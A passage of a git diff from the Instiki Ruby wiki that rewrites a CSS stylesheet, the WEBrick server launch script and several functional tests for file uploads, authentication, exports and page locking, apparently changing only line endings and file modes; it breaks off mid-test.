-h3 { font-size: 16px } - -h1#pageName { - margin: 5px 0px 0px 0px; - padding: 0px 0px 0px 0px; - line-height: 28px; -} - -h1#pageName small { - color: grey; - line-height: 10px; - font-size: 10px; - padding: 0px; -} - -a.nav, a.nav:link, a.nav:visited { color: #000; } -a.nav:hover { color: #fff; background-color:#000; } - -li { margin-bottom: 7px } - -.navigation { - margin-top: 5px; - font-size : 12px; - color: #999; -} - -.navigation a:hover { color: #fff; background-color:#000; } - -.navigation a { - font-size: 11px; - color: black; - font-weight: bold; -} - -.navigation small a { - font-weight: normal; - font-size: 11px; -} - -.navOn{ - font-size: 11px; - color: grey; - font-weight: bold; - text-decoration: none; -} - -.help { - font-family: verdana, arial, helvetica, sans-serif; - font-size: 11px; -} - -.inputBox { - font-family: verdana, arial, helvetica, sans-serif; - font-size: 11px; - background-color: #eee; - padding: 5px; - margin-bottom: 20px; -} - -blockquote { - display: block; - margin: 0px 0px 20px 0px; - padding: 0px 30px; - font-size:11px; - line-height:17px; - font-style: italic; -} - -pre { - background-color: #eee; - padding: 10px; - font-size: 11px; -} - -ol.setup { - font-size: 19px; - font-family: georgia, verdana; - padding-left: 25px; -} - -ol.setup li { - margin-bottom: 20px -} - -.byline { - font-size: 10px; - font-style: italic; - margin-bottom: 10px; - color: #999; -} - -.references { - font-size: 10px; -} - -.diffdel, del.diffmod { - background: pink; -} - -.diffins, ins.diffmod { - background: lightgreen; -} - -#footer { - height: 14px; - padding: .25em 0; -} - -#footer p { - font-size: 10px; - color: gray; - font-style: italic; - margin: 0; - float: right; - text-align: right; -} - -#error { - color: darkred; - font-style: italic; - width: 450px; -} - -#info { - color: darkgreen; - font-style: italic; - width: 450px; -} - -#TextileHelp table { - margin-bottom: 0; -} - -#TextileHelp table+h3 { - margin-top: 11px; -} - -#TextileHelp table td { - font-size: 11px; - padding: 3px; - vertical-align: top; - border-top: 1px dotted #ccc; -} - -#TextileHelp table td.arrow { - padding-right: 5px; - padding-left: 10px; - color: #999; -} - -#TextileHelp table td.label { - font-weight: bold; - white-space: nowrap; - font-size: 10px; - padding-right: 15px; - color: #000; -} - -#TextileHelp h3 { - font-size: 11px; - font-weight: bold; - font-weight: normal; - margin: 0 0 5px 0; - padding: 5px 0 0 0; -} - -#TextileHelp p { - font-size: 10px; -} - -.rightHandSide { - float: right; - width: 147px; - margin-left: 10px; - padding-left: 20px; - border-left: 1px dotted #ccc; -} - -.rightHandSide p { - font-size: 10px; -} - -.newsList { - margin-top: 20px; -} - -.newsList p { - margin-bottom:30px +#Container { + float: none; + margin: 0 auto; + text-align: center; +} + +#Content { + margin: 0; + padding: 5px; + text-align: left; + border-top: none; + float: left; +} + +body { background-color: #fff; color: #333; } + +body, p, ol, ul, td { + font-family: verdana, arial, helvetica, sans-serif; + font-size: 13px; + line-height: 18px; +} + +a { color: #000; } + +.newWikiWord { background-color: #eee; } +.newWikiWord a:hover { background-color: white; } + +a:visited { color: #666; } +a:hover { color: #fff; background-color:#000; } + +h1, h2, h3 { color: #333; font-family: georgia, verdana; } +h1 { font-size: 28px } +h2 { font-size: 19px } +h3 { font-size: 16px } + +h1#pageName { + margin: 5px 0px 0px 0px; + padding: 0px 0px 0px 0px; + line-height: 28px; +} + +h1#pageName small { + color: grey; + line-height: 10px; + font-size: 10px; + padding: 0px; +} + +a.nav, a.nav:link, a.nav:visited { color: #000; } +a.nav:hover { color: #fff; background-color:#000; } + +li { margin-bottom: 7px } + +.navigation { + margin-top: 5px; + font-size : 12px; + color: #999; +} + +.navigation a:hover { color: #fff; background-color:#000; } + +.navigation a { + font-size: 11px; + color: black; + font-weight: bold; +} + +.navigation small a { + font-weight: normal; + font-size: 11px; +} + +.navOn{ + font-size: 11px; + color: grey; + font-weight: bold; + text-decoration: none; +} + +.help { + font-family: verdana, arial, helvetica, sans-serif; + font-size: 11px; +} + +.inputBox { + font-family: verdana, arial, helvetica, sans-serif; + font-size: 11px; + background-color: #eee; + padding: 5px; + margin-bottom: 20px; +} + +blockquote { + display: block; + margin: 0px 0px 20px 0px; + padding: 0px 30px; + font-size:11px; + line-height:17px; + font-style: italic; +} + +pre { + background-color: #eee; + padding: 10px; + font-size: 11px; +} + +ol.setup { + font-size: 19px; + font-family: georgia, verdana; + padding-left: 25px; +} + +ol.setup li { + margin-bottom: 20px +} + +.byline { + font-size: 10px; + font-style: italic; + margin-bottom: 10px; + color: #999; +} + +.references { + font-size: 10px; +} + +.diffdel, del.diffmod { + background: pink; +} + +.diffins, ins.diffmod { + background: lightgreen; +} + +#footer { + height: 14px; + padding: .25em 0; +} + +#footer p { + font-size: 10px; + color: gray; + font-style: italic; + margin: 0; + float: right; + text-align: right; +} + +#error { + color: darkred; + font-style: italic; + width: 450px; +} + +#info { + color: darkgreen; + font-style: italic; + width: 450px; +} + +#TextileHelp table { + margin-bottom: 0; +} + +#TextileHelp table+h3 { + margin-top: 11px; +} + +#TextileHelp table td { + font-size: 11px; + padding: 3px; + vertical-align: top; + border-top: 1px dotted #ccc; +} + +#TextileHelp table td.arrow { + padding-right: 5px; + padding-left: 10px; + color: #999; +} + +#TextileHelp table td.label { + font-weight: bold; + white-space: nowrap; + font-size: 10px; + padding-right: 15px; + color: #000; +} + +#TextileHelp h3 { + font-size: 11px; + font-weight: bold; + font-weight: normal; + margin: 0 0 5px 0; + padding: 5px 0 0 0; +} + +#TextileHelp p { + font-size: 10px; +} + +.rightHandSide { + float: right; + width: 147px; + margin-left: 10px; + padding-left: 20px; + border-left: 1px dotted #ccc; +} + +.rightHandSide p { + font-size: 10px; +} + +.newsList { + margin-top: 20px; +} + +.newsList p { + margin-bottom:30px } \ No newline at end of file diff --git a/script/server b/script/server index 9667730e..a812b42f 100755 --- a/script/server +++ b/script/server @@ -1,83 +1,83 @@ -#!/usr/bin/ruby - -require 'webrick' -require 'optparse' -require 'fileutils' - -pwd = File.expand_path(File.dirname(__FILE__) + "/..") - -OPTIONS = { - - # Overridable options - :port => 2500, - :ip => '127.0.0.1', - :environment => 'production', - :server_root => File.expand_path(File.dirname(__FILE__) + '/../public/'), - :server_type => WEBrick::SimpleServer, - :storage => "#{File.expand_path(FileUtils.pwd)}/storage", -} - -ARGV.options do |opts| - script_name = File.basename($0) - opts.banner = "Usage: ruby #{script_name} [options]" - - opts.separator '' - - opts.on('-p', '--port=port', Integer, - 'Runs Instiki on the specified port.', - 'Default: 2500') { |OPTIONS[:port]| } - opts.on('-b', '--binding=ip', String, - 'Binds Rails to the specified ip.', - 'Default: 127.0.0.1') { |OPTIONS[:ip]| } - opts.on('-i', '--index=controller', String, - 'Specifies an index controller that requests for root will go to (instead of congratulations screen).' - ) { |OPTIONS[:index_controller]| } - opts.on('-e', '--environment=name', String, - 'Specifies the environment to run this server under (test/development/production).', - 'Default: production') { |OPTIONS[:environment]| } - opts.on('-d', '--daemon', - 'Make Rails run as a Daemon (only works if fork is available -- meaning on *nix).' - ) { OPTIONS[:server_type] = WEBrick::Daemon } - opts.on('-s', '--simple', '--simple-server', - '[deprecated] Forces Instiki not to run as a Daemon if fork is available.', - 'Since version 0.10.0 this option is ignored.' - ) { puts "Warning: -s (--simple) option is deprecated. See instiki --help for details." } - opts.on('-t', '--storage=storage', String, - 'Makes Instiki use the specified directory for storage.', - 'Default: ./storage/[port]') { |OPTIONS[:storage]| } - opts.on('-v', '--verbose', - 'Enable debug-level logging' - ) { OPTIONS[:verbose] = true } - - opts.separator '' - - opts.on('-h', '--help', - 'Show this help message.') { puts opts; exit } - - opts.parse! -end - -ENV['RAILS_ENV'] = OPTIONS[:environment] -require File.expand_path(File.dirname(__FILE__) + '/../config/environment') - -if OPTIONS[:verbose] - ActionController::Base.logger.level = Logger::DEBUG -end - -OPTIONS[:index_controller] = 'wiki' -require 'webrick_server' - -if OPTIONS[:environment] == 'production' - storage_path = OPTIONS[:storage] + "/" + OPTIONS[:port].to_s -else - storage_path = OPTIONS[:storage] + "/" + OPTIONS[:environment] + "/" + OPTIONS[:port].to_s -end -FileUtils.mkdir_p(storage_path) - -puts "=> Starting Instiki on http://#{OPTIONS[:ip]}:#{OPTIONS[:port]}" -puts "=> Data files are stored in #{storage_path}" - -require 'application' -WikiService.storage_path = storage_path -ApplicationController.wiki = WikiService.instance -DispatchServlet.dispatch(OPTIONS) +#!/usr/bin/ruby + +require 'webrick' +require 'optparse' +require 'fileutils' + +pwd = File.expand_path(File.dirname(__FILE__) + "/..") + +OPTIONS = { + + # Overridable options + :port => 2500, + :ip => '127.0.0.1', + :environment => 'production', + :server_root => File.expand_path(File.dirname(__FILE__) + '/../public/'), + :server_type => WEBrick::SimpleServer, + :storage => "#{File.expand_path(FileUtils.pwd)}/storage", +} + +ARGV.options do |opts| + script_name = File.basename($0) + opts.banner = "Usage: ruby #{script_name} [options]" + + opts.separator '' + + opts.on('-p', '--port=port', Integer, + 'Runs Instiki on the specified port.', + 'Default: 2500') { |OPTIONS[:port]| } + opts.on('-b', '--binding=ip', String, + 'Binds Rails to the specified ip.', + 'Default: 127.0.0.1') { |OPTIONS[:ip]| } + opts.on('-i', '--index=controller', String, + 'Specifies an index controller that requests for root will go to (instead of congratulations screen).' + ) { |OPTIONS[:index_controller]| } + opts.on('-e', '--environment=name', String, + 'Specifies the environment to run this server under (test/development/production).', + 'Default: production') { |OPTIONS[:environment]| } + opts.on('-d', '--daemon', + 'Make Rails run as a Daemon (only works if fork is available -- meaning on *nix).' + ) { OPTIONS[:server_type] = WEBrick::Daemon } + opts.on('-s', '--simple', '--simple-server', + '[deprecated] Forces Instiki not to run as a Daemon if fork is available.', + 'Since version 0.10.0 this option is ignored.' + ) { puts "Warning: -s (--simple) option is deprecated. See instiki --help for details." } + opts.on('-t', '--storage=storage', String, + 'Makes Instiki use the specified directory for storage.', + 'Default: ./storage/[port]') { |OPTIONS[:storage]| } + opts.on('-v', '--verbose', + 'Enable debug-level logging' + ) { OPTIONS[:verbose] = true } + + opts.separator '' + + opts.on('-h', '--help', + 'Show this help message.') { puts opts; exit } + + opts.parse! +end + +ENV['RAILS_ENV'] = OPTIONS[:environment] +require File.expand_path(File.dirname(__FILE__) + '/../config/environment') + +if OPTIONS[:verbose] + ActionController::Base.logger.level = Logger::DEBUG +end + +OPTIONS[:index_controller] = 'wiki' +require 'webrick_server' + +if OPTIONS[:environment] == 'production' + storage_path = OPTIONS[:storage] + "/" + OPTIONS[:port].to_s +else + storage_path = OPTIONS[:storage] + "/" + OPTIONS[:environment] + "/" + OPTIONS[:port].to_s +end +FileUtils.mkdir_p(storage_path) + +puts "=> Starting Instiki on http://#{OPTIONS[:ip]}:#{OPTIONS[:port]}" +puts "=> Data files are stored in #{storage_path}" + +require 'application' +WikiService.storage_path = storage_path +ApplicationController.wiki = WikiService.instance +DispatchServlet.dispatch(OPTIONS) diff --git a/test/all_tests.rb b/test/all_tests.rb old mode 100644 new mode 100755 index df32ea72..0a0f5126 --- a/test/all_tests.rb +++ b/test/all_tests.rb @@ -1,9 +1,9 @@ -require 'test_helper' -require 'find' - -test_root = File.dirname(__FILE__) -Find.find(test_root) { |path| - if File.file?(path) and path =~ /.*_test\.rb$/ - require path[(test_root.size + 1)..-4] - end -} +require 'test_helper' +require 'find' + +test_root = File.dirname(__FILE__) +Find.find(test_root) { |path| + if File.file?(path) and path =~ /.*_test\.rb$/ + require path[(test_root.size + 1)..-4] + end +} diff --git a/test/fixtures/rails.gif b/test/fixtures/rails.gif old mode 100644 new mode 100755 diff --git a/test/functional/application_test.rb b/test/functional/application_test.rb old mode 100644 new mode 100755 index 84767958..5e74cd2e --- a/test/functional/application_test.rb +++ b/test/functional/application_test.rb @@ -1,26 +1,26 @@ -# Unit tests for ApplicationController (the abstract controller class) - -require File.dirname(__FILE__) + '/../test_helper' -require 'wiki_controller' -require 'rexml/document' - -# Need some concrete class to test the abstract class features -class WikiController; def rescue_action(e) logger.error(e); raise e end; end - -class ApplicationTest < Test::Unit::TestCase - - def setup - setup_test_wiki - setup_controller_test(WikiController) - end - - def tear_down - tear_down_wiki - end - - def test_utf8_header - r = process('show', 'web' => 'wiki1', 'id' => 'HomePage') - assert_equal 'text/html; charset=UTF-8', r.headers['Content-Type'] - end - -end +# Unit tests for ApplicationController (the abstract controller class) + +require File.dirname(__FILE__) + '/../test_helper' +require 'wiki_controller' +require 'rexml/document' + +# Need some concrete class to test the abstract class features +class WikiController; def rescue_action(e) logger.error(e); raise e end; end + +class ApplicationTest < Test::Unit::TestCase + + def setup + setup_test_wiki + setup_controller_test(WikiController) + end + + def tear_down + tear_down_wiki + end + + def test_utf8_header + r = process('show', 'web' => 'wiki1', 'id' => 'HomePage') + assert_equal 'text/html; charset=UTF-8', r.headers['Content-Type'] + end + +end diff --git a/test/functional/file_controller_test.rb b/test/functional/file_controller_test.rb old mode 100644 new mode 100755 index 0943aa53..32f0ca8f --- a/test/functional/file_controller_test.rb +++ b/test/functional/file_controller_test.rb @@ -1,127 +1,127 @@ -#!/bin/env ruby -w - -require File.dirname(__FILE__) + '/../test_helper' -require 'file_controller' -require 'fileutils' - -# Raise errors beyond the default web-based presentation -class FileController; def rescue_action(e) logger.error(e); raise e end; end - -class FileControllerTest < Test::Unit::TestCase - - FILE_AREA = RAILS_ROOT + '/storage/test/wiki1' - FileUtils.mkdir_p(FILE_AREA) unless File.directory?(FILE_AREA) - FileUtils.rm(Dir["#{FILE_AREA}/*"]) - - def setup - setup_test_wiki - setup_controller_test - end - - def tear_down - tear_down_wiki - end - - def test_file - process 'file', 'web' => 'wiki1', 'id' => 'foo.tgz' - - assert_success - assert_rendered_file 'file/file' - end - - def test_file_download_text_file - File.open("#{FILE_AREA}/foo.txt", 'wb') { |f| f.write "aaa\nbbb\n" } - - r = process 'file', 'web' => 'wiki1', 'id' => 'foo.txt' - - assert_success - assert_equal "aaa\nbbb\n", r.binary_content - assert_equal 'text/plain', r.headers['Content-Type'] - end - - def test_file_download_pdf_file - File.open("#{FILE_AREA}/foo.pdf", 'wb') { |f| f.write "aaa\nbbb\n" } - - r = process 'file', 'web' => 'wiki1', 'id' => 'foo.pdf' - - assert_success - assert_equal "aaa\nbbb\n", r.binary_content - assert_equal 'application/pdf', r.headers['Content-Type'] - end - - def test_pic_download_gif - FileUtils.cp("#{RAILS_ROOT}/test/fixtures/rails.gif", FILE_AREA) - - r = process 'pic', 'web' => 'wiki1', 'id' => 'rails.gif' - - assert_success - assert_equal File.size("#{FILE_AREA}/rails.gif"), r.binary_content.size - end - - def test_pic_unknown_pic - r = process 'pic', 'web' => 'wiki1', 'id' => 'non-existant.gif' - - assert_success - assert_rendered_file 'file/file' - end - - def test_pic_upload_end_to_end - # edit and re-render home page so that it has an "unknown file" link to 'rails-e2e.gif' - @wiki.revise_page('wiki1', 'HomePage', '[[rails-e2e.gif:pic]]', Time.now, 'AnonymousBrave') - assert_equal "

        rails-e2e.gif" + - "?

        ", - @home.display_content - - # rails-e2e.gif is unknown to the system, so pic action goes to the file [upload] form - r = process 'pic', 'web' => 'wiki1', 'id' => 'rails-e2e.gif' - assert_success - assert_rendered_file 'file/file' - - # User uploads the picture - picture = File.read("#{RAILS_ROOT}/test/fixtures/rails.gif") - r = process 'pic', 'web' => 'wiki1', 'id' => 'rails-e2e.gif', 'file' => StringIO.new(picture) - assert_redirect_url '/' - assert @wiki.file_yard(@web).has_file?('rails-e2e.gif') - assert_equal(picture, File.read("#{RAILS_ROOT}/storage/test/wiki1/rails-e2e.gif")) - - # this should refresh the page display content (cached) - assert_equal "

        \"rails-e2e.gif\"

        ", - @home.display_content - end - - def test_pic_upload_end_to_end - # edit and re-render home page so that it has an "unknown file" link to 'rails-e2e.gif' - @wiki.revise_page('wiki1', 'HomePage', '[[instiki-e2e.txt:file]]', Time.now, 'AnonymousBrave') - assert_equal "

        instiki-e2e.txt" + - "?

        ", - @home.display_content - - # rails-e2e.gif is unknown to the system, so pic action goes to the file [upload] form - r = process 'file', 'web' => 'wiki1', 'id' => 'instiki-e2e.txt' - assert_success - assert_rendered_file 'file/file' - - # User uploads the picture - file = "abcdefgh\n123" - r = process 'file', 'web' => 'wiki1', 'id' => 'instiki-e2e.txt', 'file' => StringIO.new(file) - assert_redirect_url '/' - assert @wiki.file_yard(@web).has_file?('instiki-e2e.txt') - assert_equal(file, File.read("#{RAILS_ROOT}/storage/test/wiki1/instiki-e2e.txt")) - - # this should refresh the page display content (cached) - assert_equal "

        " + - "instiki-e2e.txt

        ", - @home.display_content - end - - def test_uploads_blocking - @web.allow_uploads = true - r = process 'file', 'web' => 'wiki1', 'id' => 'filename' - assert_success - - @web.allow_uploads = false - r = process 'file', 'web' => 'wiki1', 'id' => 'filename' - assert_equal '403 Forbidden', r.headers['Status'] - end - -end +#!/bin/env ruby -w + +require File.dirname(__FILE__) + '/../test_helper' +require 'file_controller' +require 'fileutils' + +# Raise errors beyond the default web-based presentation +class FileController; def rescue_action(e) logger.error(e); raise e end; end + +class FileControllerTest < Test::Unit::TestCase + + FILE_AREA = RAILS_ROOT + '/storage/test/wiki1' + FileUtils.mkdir_p(FILE_AREA) unless File.directory?(FILE_AREA) + FileUtils.rm(Dir["#{FILE_AREA}/*"]) + + def setup + setup_test_wiki + setup_controller_test + end + + def tear_down + tear_down_wiki + end + + def test_file + process 'file', 'web' => 'wiki1', 'id' => 'foo.tgz' + + assert_success + assert_rendered_file 'file/file' + end + + def test_file_download_text_file + File.open("#{FILE_AREA}/foo.txt", 'wb') { |f| f.write "aaa\nbbb\n" } + + r = process 'file', 'web' => 'wiki1', 'id' => 'foo.txt' + + assert_success + assert_equal "aaa\nbbb\n", r.binary_content + assert_equal 'text/plain', r.headers['Content-Type'] + end + + def test_file_download_pdf_file + File.open("#{FILE_AREA}/foo.pdf", 'wb') { |f| f.write "aaa\nbbb\n" } + + r = process 'file', 'web' => 'wiki1', 'id' => 'foo.pdf' + + assert_success + assert_equal "aaa\nbbb\n", r.binary_content + assert_equal 'application/pdf', r.headers['Content-Type'] + end + + def test_pic_download_gif + FileUtils.cp("#{RAILS_ROOT}/test/fixtures/rails.gif", FILE_AREA) + + r = process 'pic', 'web' => 'wiki1', 'id' => 'rails.gif' + + assert_success + assert_equal File.size("#{FILE_AREA}/rails.gif"), r.binary_content.size + end + + def test_pic_unknown_pic + r = process 'pic', 'web' => 'wiki1', 'id' => 'non-existant.gif' + + assert_success + assert_rendered_file 'file/file' + end + + def test_pic_upload_end_to_end + # edit and re-render home page so that it has an "unknown file" link to 'rails-e2e.gif' + @wiki.revise_page('wiki1', 'HomePage', '[[rails-e2e.gif:pic]]', Time.now, 'AnonymousBrave') + assert_equal "

        rails-e2e.gif" + + "?

        ", + @home.display_content + + # rails-e2e.gif is unknown to the system, so pic action goes to the file [upload] form + r = process 'pic', 'web' => 'wiki1', 'id' => 'rails-e2e.gif' + assert_success + assert_rendered_file 'file/file' + + # User uploads the picture + picture = File.read("#{RAILS_ROOT}/test/fixtures/rails.gif") + r = process 'pic', 'web' => 'wiki1', 'id' => 'rails-e2e.gif', 'file' => StringIO.new(picture) + assert_redirect_url '/' + assert @wiki.file_yard(@web).has_file?('rails-e2e.gif') + assert_equal(picture, File.read("#{RAILS_ROOT}/storage/test/wiki1/rails-e2e.gif")) + + # this should refresh the page display content (cached) + assert_equal "

        \"rails-e2e.gif\"

        ", + @home.display_content + end + + def test_pic_upload_end_to_end + # edit and re-render home page so that it has an "unknown file" link to 'rails-e2e.gif' + @wiki.revise_page('wiki1', 'HomePage', '[[instiki-e2e.txt:file]]', Time.now, 'AnonymousBrave') + assert_equal "

        instiki-e2e.txt" + + "?

        ", + @home.display_content + + # rails-e2e.gif is unknown to the system, so pic action goes to the file [upload] form + r = process 'file', 'web' => 'wiki1', 'id' => 'instiki-e2e.txt' + assert_success + assert_rendered_file 'file/file' + + # User uploads the picture + file = "abcdefgh\n123" + r = process 'file', 'web' => 'wiki1', 'id' => 'instiki-e2e.txt', 'file' => StringIO.new(file) + assert_redirect_url '/' + assert @wiki.file_yard(@web).has_file?('instiki-e2e.txt') + assert_equal(file, File.read("#{RAILS_ROOT}/storage/test/wiki1/instiki-e2e.txt")) + + # this should refresh the page display content (cached) + assert_equal "

        " + + "instiki-e2e.txt

        ", + @home.display_content + end + + def test_uploads_blocking + @web.allow_uploads = true + r = process 'file', 'web' => 'wiki1', 'id' => 'filename' + assert_success + + @web.allow_uploads = false + r = process 'file', 'web' => 'wiki1', 'id' => 'filename' + assert_equal '403 Forbidden', r.headers['Status'] + end + +end diff --git a/test/functional/wiki_controller_test.rb b/test/functional/wiki_controller_test.rb index de245b3f..915a72a7 100755 --- a/test/functional/wiki_controller_test.rb +++ b/test/functional/wiki_controller_test.rb @@ -1,682 +1,682 @@ -#!/bin/env ruby -w - -# Uncomment the line below to enable pdflatex tests; don't forget to comment them again -# commiting to SVN -$INSTIKI_TEST_PDFLATEX = true - -require File.dirname(__FILE__) + '/../test_helper' -require 'wiki_controller' -require 'rexml/document' - -# Raise errors beyond the default web-based presentation -class WikiController; def rescue_action(e) logger.error(e); raise e end; end - -class WikiControllerTest < Test::Unit::TestCase - - def setup - setup_test_wiki - setup_controller_test - end - - def tear_down - tear_down_wiki - end - - - def test_authenticate - @web.password = 'pswd' - - r = process('authenticate', 'web' => 'wiki1', 'password' => 'pswd') - assert_redirected_to :web => 'wiki1', :action => 'show', :id => 'HomePage' - assert_equal ['pswd'], r.cookies['web_address'] - end - - def test_authenticate - @web.password = 'pswd' - - r = process('authenticate', 'web' => 'wiki1', 'password' => 'wrong password') - assert_redirected_to :action => 'login' - assert_nil r.cookies['web_address'] - end - - - def test_authors - setup_wiki_with_three_pages - @wiki.write_page('wiki1', 'BreakSortingOrder', - "This page breaks the accidentally correct sorting order of authors", - Time.now, Author.new('BreakingTheOrder', '127.0.0.2')) - - r = process('authors', 'web' => 'wiki1') - - assert_success - assert_equal ['AnAuthor', 'BreakingTheOrder', 'Guest', 'TreeHugger'], - r.template_objects['authors'] - end - - - def test_cancel_edit - setup_wiki_with_three_pages - @oak.lock(Time.now, 'Locky') - assert @oak.locked?(Time.now) - - r = process('cancel_edit', 'web' => 'wiki1', 'id' => 'Oak') - - assert_redirected_to :action => 'show', :id => 'Oak' - assert !@oak.locked?(Time.now) - end - - - def test_create_system - ApplicationController.wiki = WikiServiceWithNoPersistence.new - assert !@controller.wiki.setup? - - process('create_system', 'password' => 'a_password', 'web_name' => 'My Wiki', - 'web_address' => 'my_wiki') - - assert_redirected_to :web => 'my_wiki', :action => 'show', :id => 'HomePage' - assert @controller.wiki.setup? - assert_equal 'a_password', @controller.wiki.system[:password] - assert_equal 1, @controller.wiki.webs.size - new_web = @controller.wiki.webs['my_wiki'] - assert_equal 'My Wiki', new_web.name - assert_equal 'my_wiki', new_web.address - end - - def test_create_system_already_setup - wiki_before = @controller.wiki - assert @controller.wiki.setup? - - process 'create_system', 'password' => 'a_password', 'web_name' => 'My Wiki', - 'web_address' => 'my_wiki' - - assert_redirected_to :web => 'my_wiki', :action => 'show', :id => 'HomePage' - assert_equal wiki_before, @controller.wiki - # and no new wikis shuld be created either - assert_equal 1, @controller.wiki.webs.size - end - - - def test_create_web - @wiki.system[:password] = 'pswd' - - process 'create_web', 'system_password' => 'pswd', 'name' => 'Wiki Two', 'address' => 'wiki2' - - assert_redirected_to :web => 'wiki2', :action => 'show', :id => 'HomePage' - wiki2 = @wiki.webs['wiki2'] - assert wiki2 - assert_equal 'Wiki Two', wiki2.name - assert_equal 'wiki2', wiki2.address - end - - def test_create_web_default_password - @wiki.system[:password] = nil - - process 'create_web', 'system_password' => 'instiki', 'name' => 'Wiki Two', 'address' => 'wiki2' - - assert_redirected_to :web => 'wiki2', :action => 'show', :id => 'HomePage' - end - - def test_create_web_failed_authentication - @wiki.system[:password] = 'pswd' - - process 'create_web', 'system_password' => 'wrong', 'name' => 'Wiki Two', 'address' => 'wiki2' - - assert_redirected_to :web => nil, :action => 'index' - assert_nil @wiki.webs['wiki2'] - end - - - def test_edit - r = process 'edit', 'web' => 'wiki1', 'id' => 'HomePage' - assert_success - assert_equal @wiki.read_page('wiki1', 'HomePage'), r.template_objects['page'] - end - - def test_edit_page_locked_page - @home.lock(Time.now, 'Locky') - process 'edit', 'web' => 'wiki1', 'id' => 'HomePage' - assert_redirected_to :action => 'locked' - end - - def test_edit_page_break_lock - @home.lock(Time.now, 'Locky') - process 'edit', 'web' => 'wiki1', 'id' => 'HomePage', 'break_lock' => 'y' - assert_success - assert @home.locked?(Time.now) - end - - def test_edit_unknown_page - process 'edit', 'web' => 'wiki1', 'id' => 'UnknownPage', 'break_lock' => 'y' - assert_redirected_to :action => 'index' - end - - - def test_edit_web - process 'edit_web', 'web' => 'wiki1' - # this action simply renders a form - assert_success - end - - - def test_export_html - setup_wiki_with_three_pages - - r = process 'export_html', 'web' => 'wiki1' - - assert_success - assert_equal 'application/zip', r.headers['Content-Type'] - assert_match /attachment; filename="wiki1-html-\d\d\d\d-\d\d-\d\d-\d\d-\d\d-\d\d.zip"/, - r.headers['Content-Disposition'] - content = r.binary_content - assert_equal 'PK', content[0..1], 'Content is not a zip file' - end - - def test_export_markup - r = process 'export_markup', 'web' => 'wiki1' - - assert_success - assert_equal 'application/zip', r.headers['Content-Type'] - assert_match /attachment; filename="wiki1-textile-\d\d\d\d-\d\d-\d\d-\d\d-\d\d-\d\d.zip"/, - r.headers['Content-Disposition'] - content = r.binary_content - assert_equal 'PK', content[0..1], 'Content is not a zip file' - end - - - if ENV['INSTIKI_TEST_LATEX'] or defined? $INSTIKI_TEST_PDFLATEX - - def test_export_pdf - r = process 'export_pdf', 'web' => 'wiki1' - assert_success - assert_equal 'application/pdf', r.headers['Content-Type'] - assert_match /attachment; filename="wiki1-tex-\d\d\d\d-\d\d-\d\d-\d\d-\d\d-\d\d.pdf"/, - r.headers['Content-Disposition'] - content = r.binary_content - assert_equal '%PDF', content[0..3] - assert_equal "EOF\n", content[-4..-1] - end - - else - puts 'Warning: tests involving pdflatex are very slow, therefore they are disable by default.' - puts ' Set environment variable INSTIKI_TEST_PDFLATEX or global Ruby variable' - puts ' $INSTIKI_TEST_PDFLATEX to enable them.' - end - - - def test_export_tex - setup_wiki_with_three_pages - - r = process 'export_tex', 'web' => 'wiki1' - - assert_success - assert_equal 'application/octet-stream', r.headers['Content-Type'] - assert_match /attachment; filename="wiki1-tex-\d\d\d\d-\d\d-\d\d-\d\d-\d\d-\d\d.tex"/, - r.headers['Content-Disposition'] - content = r.binary_content - assert_equal '\documentclass', content[0..13], 'Content is not a TeX file' - end - - def test_feeds - process('feeds', 'web' => 'wiki1') - end - - def test_index - process('index') - assert_redirected_to :web => 'wiki1', :action => 'show', :id => 'HomePage' - end - - def test_index_multiple_webs - @wiki.create_web('Test Wiki 2', 'wiki2') - process('index') - assert_redirected_to :action => 'web_list' - end - - def test_index_multiple_webs_web_explicit - process('index', 'web' => 'wiki2') - assert_redirected_to :web => 'wiki2', :action => 'show', :id => 'HomePage' - end - - def test_index_wiki_not_initialized - ApplicationController.wiki = WikiServiceWithNoPersistence.new - process('index') - assert_redirected_to :action => 'new_system' - end - - - def test_list - setup_wiki_with_three_pages - - r = process('list', 'web' => 'wiki1') - - assert_equal ['animals', 'trees'], r.template_objects['categories'] - assert_nil r.template_objects['category'] - assert_equal ['animals', 'trees'], - r.template_objects['category_links'] - assert_equal [@elephant, @home, @oak], r.template_objects['pages_in_category'] - end - - - def test_locked - @home.lock(Time.now, 'Locky') - r = process('locked', 'web' => 'wiki1', 'id' => 'HomePage') - assert_success - assert_equal @home, r.template_objects['page'] - end - - - def test_login - r = process 'login', 'web' => 'wiki1' - assert_success - # this action goes straight to the templates - end - - - def test_new - r = process('new', 'id' => 'NewPage', 'web' => 'wiki1') - assert_success - assert_equal 'AnonymousCoward', r.template_objects['author'] - assert_equal 'NewPage', r.template_objects['page_name'] - end - - - def test_new_system - ApplicationController.wiki = WikiServiceWithNoPersistence.new - process('new_system') - assert_success - end - - def test_new_system_system_already_initialized - assert @wiki.setup? - process('new_system') - assert_redirected_to :action => 'index' - end - - - def test_new_web - @wiki.system['password'] = 'pswd' - process 'new_web' - assert_success - end - - def test_new_web_no_password_set - @wiki.system['password'] = nil - process 'new_web' - assert_redirected_to :action => 'index' - end - - - if ENV['INSTIKI_TEST_LATEX'] or defined? $INSTIKI_TEST_PDFLATEX - - def test_pdf - assert RedClothForTex.available?, 'Cannot do test_pdf when pdflatex is not available' - r = process('pdf', 'web' => 'wiki1', 'id' => 'HomePage') - assert_success - - content = r.binary_content - - assert_equal '%PDF', content[0..3] - assert_equal "EOF\n", content[-4..-1] - - assert_equal 'application/pdf', r.headers['Content-Type'] - assert_match /attachment; filename="HomePage-wiki1-\d\d\d\d-\d\d-\d\d-\d\d-\d\d-\d\d.pdf"/, - r.headers['Content-Disposition'] - end - - end - - - def test_print - process('print', 'web' => 'wiki1', 'id' => 'HomePage') - assert_success - end - - - def test_published - @web.published = true - - r = process('published', 'web' => 'wiki1', 'id' => 'HomePage') - - assert_success - assert_equal @home, r.template_objects['page'] - end - - - def test_published_web_not_published - @web.published = false - - r = process('published', 'web' => 'wiki1', 'id' => 'HomePage') - - assert_redirected_to :action => 'show', :id => 'HomePage' - end - - - def test_recently_revised - r = process('recently_revised', 'web' => 'wiki1') - assert_success - - assert_equal [], r.template_objects['categories'] - assert_nil r.template_objects['category'] - assert_equal [@home], r.template_objects['pages_in_category'] - assert_equal 'the web', r.template_objects['set_name'] - assert_equal [], r.template_objects['category_links'] - end - - def test_recently_revised_with_categorized_page - page2 = @wiki.write_page('wiki1', 'Page2', - "Page2 contents.\n" + - "category: categorized", - Time.now, Author.new('AnotherAuthor', '127.0.0.2')) - - r = process('recently_revised', 'web' => 'wiki1') - assert_success - - assert_equal 